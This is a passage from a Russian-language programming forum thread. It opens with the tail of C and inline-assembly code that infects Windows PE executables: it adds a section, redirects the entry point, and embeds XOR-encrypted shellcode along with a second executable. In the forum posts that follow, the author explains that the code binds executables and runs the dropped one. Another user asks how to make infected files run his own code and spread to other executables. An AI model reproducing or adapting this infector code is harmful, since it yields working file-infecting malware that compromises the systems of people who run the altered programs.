    382.     //Размер внедряемого кода
    383.     FileSize+=sizeof(shellcode2);
    384.     FileSize = ALIGN_UP(FileSize,FileAlignment);//На сколько увеличиваем размер файла
    385.     //Для получения размера файла
    386.     HANDLE hFile2 = CreateFile(To,
    387.         GENERIC_WRITE | GENERIC_READ,
    388.         FILE_SHARE_READ | FILE_SHARE_WRITE,
    389.         NULL,
    390.         OPEN_EXISTING,
    391.         FILE_ATTRIBUTE_NORMAL,
    392.         NULL);
    393.     if (hFile2==INVALID_HANDLE_VALUE) return 0;
    394.     //Расчитываем новый размер файла
    395.     DWORD NewSize = GetFileSize(hFile2,0);
    396.     NewSize+=FileSize;
    397.     CloseHandle(hFile2);
    398.     pExe = MapFile(To,NewSize+FileAlignment);//Новая проекция с нужным размером
    399.     if (pExe==NULL) return NULL;
    400.     PIMAGE_NT_HEADERS pNt = GetPeHeader(pExe);//PE заголовок
    401.     PIMAGE_SECTION_HEADER pSection = GetSectionTable(pExe);//Таблица секций
    402.     PIMAGE_SECTION_HEADER pLastSection = pSection;
    403.     //Ищем последнюю секцию виртуально и физически
    404.     for (int i=0;i<pNt->FileHeader.NumberOfSections;i++)
    405.     {
    406.         if (pSection->PointerToRawData>pLastSection->PointerToRawData && pSection->VirtualAddress>pLastSection->VirtualAddress)
    407.         {
    408.             pLastSection = pSection;
    409.         }
    410.         pSection++;
    411.     }
    412.     //Трем bound-импорты
    413.     pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
    414.     pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
    415.     //Если размер равен нулю, то облом
    416.     if (pLastSection->SizeOfRawData==0) return FALSE;
    417.     DWORD OEP = pNt->OptionalHeader.ImageBase + pNt->OptionalHeader.AddressOfEntryPoint;
    418.     //Начало промежутка для шелкодеса
    419.     DWORD ToWrite = (DWORD)pExe + pLastSection->PointerToRawData + pLastSection->SizeOfRawData;
    420.     //Поля новой секции
    421.     pNt->OptionalHeader.AddressOfEntryPoint = pLastSection->VirtualAddress + ALIGN_UP(pLastSection->SizeOfRawData,FileAlignment);
    422.     pLastSection->SizeOfRawData = pLastSection->SizeOfRawData + FileSize;
    423.     pLastSection->Characteristics = 0xa0000020;
    424.     pLastSection->Misc.VirtualSize = pLastSection->Misc.VirtualSize + ALIGN_UP(FileSize,4096);
    425.     pNt->OptionalHeader.SizeOfImage = pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize + 4096;
    426.     pNt->OptionalHeader.SizeOfCode = pNt->OptionalHeader.SizeOfImage;
    427.     //Добавляем новую секцию
    428.     pNt->FileHeader.NumberOfSections++;
    429.     PIMAGE_SECTION_HEADER pNewSection = pLastSection;
    430.     pNewSection++;
    431.     pNewSection->Characteristics = 0xe00000e0;
    432.     pNewSection->Misc.VirtualSize = 4096;
    433.     lstrcpy((char*)pNewSection->Name,(char*)".idata");
    434.     pNewSection->NumberOfLinenumbers = 0;
    435.     pNewSection->NumberOfRelocations = 0;
    436.     pNewSection->PointerToLinenumbers = 0;
    437.     pNewSection->PointerToRawData = ALIGN_UP(pLastSection->PointerToRawData + pLastSection->SizeOfRawData,FileAlignment);
    438.     pNewSection->PointerToRelocations = 0;
    439.     pNewSection->SizeOfRawData = FileAlignment;
    440.     pNewSection->VirtualAddress = ALIGN_UP(pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize,4096);
    441.     int ShellCode2Size = sizeof(shellcode2);
    442.     //Правим шелкодес
    443.     _asm
    444.     {
    445.         lea eax,shellcode2
    446.         mov edx,FileSizeFrom
    447.         xor edx,66666666h
    448.         mov dword ptr [eax+OffsetFileSize2],edx
    449.         mov edx,OEP
    450.         xor edx,66666666h
    451.         mov dword ptr [eax+OEPOffset2],edx
    452.        
    453.         mov edx,FileSizeFrom
    454.         add edx,ShellCode2Size
    455.         sub edx,1dh
    456.         mov dword ptr [eax+CryptBodyOffset],edx
    457.     }
    458.     //Записываем шелкодес
    459.     memcpy((PVOID)ToWrite,shellcode2,sizeof(shellcode2));
    460.     ToWrite+=sizeof(shellcode2);
    461.     PVOID MapFileFrom = MapFileRead(From,0);
    462.     if (MapFileFrom==NULL) return 0;
    463.     if (!IsPe((char*)MapFileFrom))
    464.     {
    465.         UnmapViewOfFile(MapFileFrom);
    466.         return 0;
    467.     }
    468.     memcpy((PVOID)ToWrite,MapFileFrom,FileSizeFrom);
    469.     _asm//Ксорим данные файла
    470.     {
    471.         mov eax,ToWrite
    472.         mov ecx,FileSizeFrom
    473. NextByte:
    474.         xor byte ptr [eax],66h
    475.         inc eax
    476.         loop NextByte
    477.     }
    478.     UnmapViewOfFile(MapFileFrom);
    479.     UnmapViewOfFile(pExe);
    480.     return TRUE;
    481. }
     
  8. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    Mental_Mirror
    изврат
     
  9. Mental_Mirror

    Mental_Mirror New Member

    Публикаций:
    0
    Регистрация:
    7 май 2007
    Сообщения:
    431
    FreeManCPM
    сам такой
     
  10. scalter

    scalter New Member

    Публикаций:
    0
    Регистрация:
    7 июн 2007
    Сообщения:
    30
    Mental_Mirror, объясни пожалуйста, зачем нужен этот шеллкод и обязательнро ли он нужен?
    Что он вообще делает?
     
  11. Mental_Mirror

    Mental_Mirror New Member

    Публикаций:
    0
    Регистрация:
    7 май 2007
    Сообщения:
    431
    scalter
    Ну вообще этот код склеивает два экзешника. Самый простой способ - кидаем в темп и запускаем потом. Есть главная функция Infect. Принимает два параметра - путь к файлу который будем заражать, и файл которым будем заражать. В жертву в итоге вставляется код для создания в темпе нового файла и запуска его, ну и естесственно сам экзешник. Заражение идет добавлением новой секции. Шелкод этот и есть новый код внедренный в жертву. Функция Infect2 делает тоже только данные внедряемого экзешника ксорятся.
     
  12. scalter

    scalter New Member

    Публикаций:
    0
    Регистрация:
    7 июн 2007
    Сообщения:
    30
    Mental_Mirror, ого блин:) Слушай, мне вот нужно просто заразить файл, чтобы после его запуска он выполнял мой код. В этом случае я могу убрать все, что связано с шеллкодами?
    Забыл еще спросить, объясни пожалуйста, для чего надо создавать этот новый файл?
     
  13. Mental_Mirror

    Mental_Mirror New Member

    Публикаций:
    0
    Регистрация:
    7 май 2007
    Сообщения:
    431
    scalter
    Чтобы просто заразить убери вставку данных нового экзешника, и размеры. Создавать надо чтобы запустить, можно конечно процецировать в память и делать тред на EP, но это сложнее, тут статья есть одного из возмущающихся ;)
     
  14. Freeman

    Freeman New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2005
    Сообщения:
    1.385
    Адрес:
    Ukraine
    хм. спорный вопрос. да и вообще ты говоришь о склейке, а человек хочет _заразить_ файл, используя си, то есть сделать так, чтоб запускался его код, а не какието шелкодесы, которые копируют файлы на винт.. стандартное заражение, это когда твой кодес получил управление, сделал свое дело и передал все на ЕР, при чем никаких маппингов и тредов делать не надо, ведь запускается файл загрузчиком, а не руками.
     
  15. Mental_Mirror

    Mental_Mirror New Member

    Публикаций:
    0
    Регистрация:
    7 май 2007
    Сообщения:
    431
    FreeManCPM
    Согласен, просто был код может немного не в тему, но техника заражения в нем используется, вот и решил выложить может поможет.
     
  16. scalter

    scalter New Member

    Публикаций:
    0
    Регистрация:
    7 июн 2007
    Сообщения:
    30
    А люди, я так понял. В общем, в приведенном выше коде чтобы просто заразить файл и чтобы при загрузке сначала запускался мой код, что конкретно надо убрать?
     
  17. Mental_Mirror

    Mental_Mirror New Member

    Публикаций:
    0
    Регистрация:
    7 май 2007
    Сообщения:
    431
    scalter
    Лучше заново переписать :) Я вижу тебе нужно готовый код, тогда велкам ту WASM.COMMERCIALS, я быстренько для тебя это напишу.
     
  18. scalter

    scalter New Member

    Публикаций:
    0
    Регистрация:
    7 июн 2007
    Сообщения:
    30
    Да нет. Так помочь тяжело? Просто хочу понять, как это работает. Мне хотелось бы, что бы я смог заразить pe-файл, и чтобы при его запуске каким-то пользователем данный файл выполнял бы мой код, к примеру заражал бы другой exe, а после выполнялся бы его основной код.
     
  19. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    этот вопрос на водит на мысль, что разбираться тебе нафиг не надо. Что-то подсказывает, что твоя цель - или подлянку на скорую руку написать, или лабораторку сдать
     
  20. scalter

    scalter New Member

    Публикаций:
    0
    Регистрация:
    7 июн 2007
    Сообщения:
    30
    Нет, MSoft, ты не прав. Я не знаю, для чего этот shellcode, то есть, зачем надо создавать другой файл и запускать его. Что он будет делать. Просто хотелось бы, что бы вы помогли мне разобраться.